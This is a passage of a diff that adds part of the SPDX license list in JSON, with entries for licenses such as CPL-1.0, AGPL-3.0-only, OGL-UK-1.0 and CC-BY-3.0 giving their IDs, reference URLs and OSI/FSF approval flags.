+ "referenceNumber": 169,
+ "name": "NIST Public Domain Notice with license fallback",
+ "licenseId": "NIST-PD-fallback",
+ "seeAlso": [
+ "https://github.com/usnistgov/jsip/blob/59700e6926cbe96c5cdae897d9a7d2656b42abe3/LICENSE",
+ "https://github.com/usnistgov/fipy/blob/86aaa5c2ba2c6f1be19593c5986071cf6568cc34/LICENSE.rst"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGL-UK-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGL-UK-1.0.json",
+ "referenceNumber": 170,
+ "name": "Open Government Licence v1.0",
+ "licenseId": "OGL-UK-1.0",
+ "seeAlso": [
+ "http://www.nationalarchives.gov.uk/doc/open-government-licence/version/1/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CPL-1.0.json",
+ "referenceNumber": 171,
+ "name": "Common Public License 1.0",
+ "licenseId": "CPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/CPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.1-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.1-only.json",
+ "referenceNumber": 172,
+ "name": "GNU Lesser General Public License v2.1 only",
+ "licenseId": "LGPL-2.1-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.1-standalone.html",
+ "https://opensource.org/licenses/LGPL-2.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ZPL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ZPL-2.0.json",
+ "referenceNumber": 173,
+ "name": "Zope Public License 2.0",
+ "licenseId": "ZPL-2.0",
+ "seeAlso": [
+ "http://old.zope.org/Resources/License/ZPL-2.0",
+ "https://opensource.org/licenses/ZPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Frameworx-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Frameworx-1.0.json",
+ "referenceNumber": 174,
+ "name": "Frameworx Open License 1.0",
+ "licenseId": "Frameworx-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Frameworx-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-3.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-3.0-only.json",
+ "referenceNumber": 175,
+ "name": "GNU Affero General Public License v3.0 only",
+ "licenseId": "AGPL-3.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/agpl.txt",
+ "https://opensource.org/licenses/AGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/DRL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/DRL-1.0.json",
+ "referenceNumber": 176,
+ "name": "Detection Rule License 1.0",
+ "licenseId": "DRL-1.0",
+ "seeAlso": [
+ "https://github.com/Neo23x0/sigma/blob/master/LICENSE.Detection.Rules.md"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EFL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EFL-2.0.json",
+ "referenceNumber": 177,
+ "name": "Eiffel Forum License v2.0",
+ "licenseId": "EFL-2.0",
+ "seeAlso": [
+ "http://www.eiffel-nice.org/license/eiffel-forum-license-2.html",
+ "https://opensource.org/licenses/EFL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Spencer-99.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Spencer-99.json",
+ "referenceNumber": 178,
+ "name": "Spencer License 99",
+ "licenseId": "Spencer-99",
+ "seeAlso": [
+ "http://www.opensource.apple.com/source/tcl/tcl-5/tcl/generic/regfronts.c"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CAL-1.0-Combined-Work-Exception.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CAL-1.0-Combined-Work-Exception.json",
+ "referenceNumber": 179,
+ "name": "Cryptographic Autonomy License 1.0 (Combined Work Exception)",
+ "licenseId": "CAL-1.0-Combined-Work-Exception",
+ "seeAlso": [
+ "http://cryptographicautonomylicense.com/license-text.html",
+ "https://opensource.org/licenses/CAL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-invariants-only.json",
+ "referenceNumber": 180,
+ "name": "GNU Free Documentation License v1.1 only - invariants",
+ "licenseId": "GFDL-1.1-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TCL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TCL.json",
+ "referenceNumber": 181,
+ "name": "TCL/TK License",
+ "licenseId": "TCL",
+ "seeAlso": [
+ "http://www.tcl.tk/software/tcltk/license.html",
+ "https://fedoraproject.org/wiki/Licensing/TCL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SHL-0.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SHL-0.5.json",
+ "referenceNumber": 182,
+ "name": "Solderpad Hardware License v0.5",
+ "licenseId": "SHL-0.5",
+ "seeAlso": [
+ "https://solderpad.org/licenses/SHL-0.5/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.0-RFN.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.0-RFN.json",
+ "referenceNumber": 183,
+ "name": "SIL Open Font License 1.0 with Reserved Font Name",
+ "licenseId": "OFL-1.0-RFN",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL10_web"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.0.json",
+ "referenceNumber": 184,
+ "name": "GNU Library General Public License v2 only",
+ "licenseId": "LGPL-2.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.0-standalone.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-W-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-W-2.0.json",
+ "referenceNumber": 185,
+ "name": "CERN Open Hardware Licence Version 2 - Weakly Reciprocal",
+ "licenseId": "CERN-OHL-W-2.0",
+ "seeAlso": [
+ "https://www.ohwr.org/project/cernohl/wikis/Documents/CERN-OHL-version-2"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Glide.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Glide.json",
+ "referenceNumber": 186,
+ "name": "3dfx Glide License",
+ "licenseId": "Glide",
+ "seeAlso": [
+ "http://www.users.on.net/~triforce/glidexp/COPYING.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/mpich2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/mpich2.json",
+ "referenceNumber": 187,
+ "name": "mpich2 License",
+ "licenseId": "mpich2",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/psutils.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/psutils.json",
+ "referenceNumber": 188,
+ "name": "psutils License",
+ "licenseId": "psutils",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/psutils"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SPL-1.0.json",
+ "referenceNumber": 189,
+ "name": "Sun Public License v1.0",
+ "licenseId": "SPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/SPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Apache-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Apache-1.1.json",
+ "referenceNumber": 190,
+ "name": "Apache License 1.1",
+ "licenseId": "Apache-1.1",
+ "seeAlso": [
+ "http://apache.org/licenses/LICENSE-1.1",
+ "https://opensource.org/licenses/Apache-1.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-4.0.json",
+ "referenceNumber": 191,
+ "name": "Creative Commons Attribution No Derivatives 4.0 International",
+ "licenseId": "CC-BY-ND-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/4.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/FreeBSD-DOC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FreeBSD-DOC.json",
+ "referenceNumber": 192,
+ "name": "FreeBSD Documentation License",
+ "licenseId": "FreeBSD-DOC",
+ "seeAlso": [
+ "https://www.freebsd.org/copyright/freebsd-doc-license/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SCEA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SCEA.json",
+ "referenceNumber": 193,
+ "name": "SCEA Shared Source License",
+ "licenseId": "SCEA",
+ "seeAlso": [
+ "http://research.scea.com/scea_shared_source_license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Latex2e.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Latex2e.json",
+ "referenceNumber": 194,
+ "name": "Latex2e License",
+ "licenseId": "Latex2e",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Latex2e"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Artistic-1.0-cl8.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Artistic-1.0-cl8.json",
+ "referenceNumber": 195,
+ "name": "Artistic License 1.0 w/clause 8",
+ "licenseId": "Artistic-1.0-cl8",
+ "seeAlso": [
+ "https://opensource.org/licenses/Artistic-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SGI-B-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SGI-B-1.1.json",
+ "referenceNumber": 196,
+ "name": "SGI Free Software License B v1.1",
+ "licenseId": "SGI-B-1.1",
+ "seeAlso": [
+ "http://oss.sgi.com/projects/FreeB/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NRL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NRL.json",
+ "referenceNumber": 197,
+ "name": "NRL License",
+ "licenseId": "NRL",
+ "seeAlso": [
+ "http://web.mit.edu/network/isakmp/nrllicense.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SWL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SWL.json",
+ "referenceNumber": 198,
+ "name": "Scheme Widget Library (SWL) Software License Agreement",
+ "licenseId": "SWL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/SWL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zed.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zed.json",
+ "referenceNumber": 199,
+ "name": "Zed License",
+ "licenseId": "Zed",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Zed"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-1.1.json",
+ "referenceNumber": 200,
+ "name": "CERN Open Hardware Licence v1.1",
+ "licenseId": "CERN-OHL-1.1",
+ "seeAlso": [
+ "https://www.ohwr.org/project/licenses/wikis/cern-ohl-v1.1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/RHeCos-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RHeCos-1.1.json",
+ "referenceNumber": 201,
+ "name": "Red Hat eCos Public License v1.1",
+ "licenseId": "RHeCos-1.1",
+ "seeAlso": [
+ "http://ecos.sourceware.org/old-license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/JasPer-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/JasPer-2.0.json",
+ "referenceNumber": 202,
+ "name": "JasPer License",
+ "licenseId": "JasPer-2.0",
+ "seeAlso": [
+ "http://www.ece.uvic.ca/~mdadams/jasper/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SSPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SSPL-1.0.json",
+ "referenceNumber": 203,
+ "name": "Server Side Public License, v 1",
+ "licenseId": "SSPL-1.0",
+ "seeAlso": [
+ "https://www.mongodb.com/licensing/server-side-public-license"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0+.json",
+ "referenceNumber": 204,
+ "name": "GNU General Public License v2.0 or later",
+ "licenseId": "GPL-2.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html",
+ "https://opensource.org/licenses/GPL-2.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-1.4.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-1.4.json",
+ "referenceNumber": 205,
+ "name": "Open LDAP Public License v1.4",
+ "licenseId": "OLDAP-1.4",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003dc9f95c2f3f2ffb5e0ae55fe7388af75547660941"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/libpng-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/libpng-2.0.json",
+ "referenceNumber": 206,
+ "name": "PNG Reference Library version 2",
+ "licenseId": "libpng-2.0",
+ "seeAlso": [
+ "http://www.libpng.org/pub/png/src/libpng-LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CNRI-Python-GPL-Compatible.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CNRI-Python-GPL-Compatible.json",
+ "referenceNumber": 207,
+ "name": "CNRI Python Open Source GPL Compatible License Agreement",
+ "licenseId": "CNRI-Python-GPL-Compatible",
+ "seeAlso": [
+ "http://www.python.org/download/releases/1.6.1/download_win/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Aladdin.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Aladdin.json",
+ "referenceNumber": 208,
+ "name": "Aladdin Free Public License",
+ "licenseId": "Aladdin",
+ "seeAlso": [
+ "http://pages.cs.wisc.edu/~ghost/doc/AFPL/6.01/Public.htm"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-1.0.json",
+ "referenceNumber": 209,
+ "name": "CeCILL Free Software License Agreement v1.0",
+ "licenseId": "CECILL-1.0",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL_V1-fr.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Ruby.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Ruby.json",
+ "referenceNumber": 210,
+ "name": "Ruby License",
+ "licenseId": "Ruby",
+ "seeAlso": [
+ "http://www.ruby-lang.org/en/LICENSE.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NPL-1.1.json",
+ "referenceNumber": 211,
+ "name": "Netscape Public License v1.1",
+ "licenseId": "NPL-1.1",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/NPL/1.1/"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ImageMagick.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ImageMagick.json",
+ "referenceNumber": 212,
+ "name": "ImageMagick License",
+ "licenseId": "ImageMagick",
+ "seeAlso": [
+ "http://www.imagemagick.org/script/license.php"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Cube.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Cube.json",
+ "referenceNumber": 213,
+ "name": "Cube License",
+ "licenseId": "Cube",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Cube"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-only.json",
+ "referenceNumber": 214,
+ "name": "GNU Free Documentation License v1.1 only",
+ "licenseId": "GFDL-1.1-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-2.0.json",
+ "referenceNumber": 215,
+ "name": "Creative Commons Attribution 2.0 Generic",
+ "licenseId": "CC-BY-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-1.2.json",
+ "referenceNumber": 216,
+ "name": "Academic Free License v1.2",
+ "licenseId": "AFL-1.2",
+ "seeAlso": [
+ "http://opensource.linux-mirror.org/licenses/afl-1.2.txt",
+ "http://wayback.archive.org/web/20021204204652/http://www.opensource.org/licenses/academic.php"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-2.0.json",
+ "referenceNumber": 217,
+ "name": "Creative Commons Attribution Share Alike 2.0 Generic",
+ "licenseId": "CC-BY-SA-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-2.0.json",
+ "referenceNumber": 218,
+ "name": "CeCILL Free Software License Agreement v2.0",
+ "licenseId": "CECILL-2.0",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL_V2-en.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-advertising.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-advertising.json",
+ "referenceNumber": 219,
+ "name": "Enlightenment License (e16)",
+ "licenseId": "MIT-advertising",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT_With_Advertising"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-2.5.json",
+ "referenceNumber": 220,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 2.5 Generic",
+ "licenseId": "CC-BY-NC-SA-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Artistic-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Artistic-1.0.json",
+ "referenceNumber": 221,
+ "name": "Artistic License 1.0",
+ "licenseId": "Artistic-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Artistic-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-3.0.json",
+ "referenceNumber": 222,
+ "name": "Open Software License 3.0",
+ "licenseId": "OSL-3.0",
+ "seeAlso": [
+ "https://web.archive.org/web/20120101081418/http://rosenlaw.com:80/OSL3.0.htm",
+ "https://opensource.org/licenses/OSL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/X11.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/X11.json",
+ "referenceNumber": 223,
+ "name": "X11 License",
+ "licenseId": "X11",
+ "seeAlso": [
+ "http://www.xfree86.org/3.3.6/COPYRIGHT2.html#3"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Bahyph.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Bahyph.json",
+ "referenceNumber": 224,
+ "name": "Bahyph License",
+ "licenseId": "Bahyph",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Bahyph"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.0.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.0.1.json",
+ "referenceNumber": 225,
+ "name": "Open LDAP Public License v2.0.1",
+ "licenseId": "OLDAP-2.0.1",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003db6d68acd14e51ca3aab4428bf26522aa74873f0e"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EUDatagrid.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EUDatagrid.json",
+ "referenceNumber": 226,
+ "name": "EU DataGrid Software License",
+ "licenseId": "EUDatagrid",
+ "seeAlso": [
+ "http://eu-datagrid.web.cern.ch/eu-datagrid/license.html",
+ "https://opensource.org/licenses/EUDatagrid"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MTLL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MTLL.json",
+ "referenceNumber": 227,
+ "name": "Matrix Template Library License",
+ "licenseId": "MTLL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Matrix_Template_Library_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-invariants-only.json",
+ "referenceNumber": 228,
+ "name": "GNU Free Documentation License v1.2 only - invariants",
+ "licenseId": "GFDL-1.2-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-no-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-no-invariants-or-later.json",
+ "referenceNumber": 229,
+ "name": "GNU Free Documentation License v1.3 or later - no invariants",
+ "licenseId": "GFDL-1.3-no-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/curl.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/curl.json",
+ "referenceNumber": 230,
+ "name": "curl License",
+ "licenseId": "curl",
+ "seeAlso": [
+ "https://github.com/bagder/curl/blob/master/COPYING"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LAL-1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LAL-1.3.json",
+ "referenceNumber": 231,
+ "name": "Licence Art Libre 1.3",
+ "licenseId": "LAL-1.3",
+ "seeAlso": [
+ "https://artlibre.org/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/DSDP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/DSDP.json",
+ "referenceNumber": 232,
+ "name": "DSDP License",
+ "licenseId": "DSDP",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/DSDP"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-1.2.json",
+ "referenceNumber": 233,
+ "name": "CERN Open Hardware Licence v1.2",
+ "licenseId": "CERN-OHL-1.2",
+ "seeAlso": [
+ "https://www.ohwr.org/project/licenses/wikis/cern-ohl-v1.2"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TOSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TOSL.json",
+ "referenceNumber": 234,
+ "name": "Trusster Open Source License",
+ "licenseId": "TOSL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/TOSL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0-with-autoconf-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0-with-autoconf-exception.json",
+ "referenceNumber": 235,
+ "name": "GNU General Public License v3.0 w/Autoconf exception",
+ "licenseId": "GPL-3.0-with-autoconf-exception",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/autoconf-exception-3.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0.json",
+ "referenceNumber": 236,
+ "name": "Creative Commons Attribution 3.0 Unported",
+ "licenseId": "CC-BY-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Qhull.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Qhull.json",
+ "referenceNumber": 237,
+ "name": "Qhull License",
+ "licenseId": "Qhull",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Qhull"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-no-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-no-invariants-only.json",
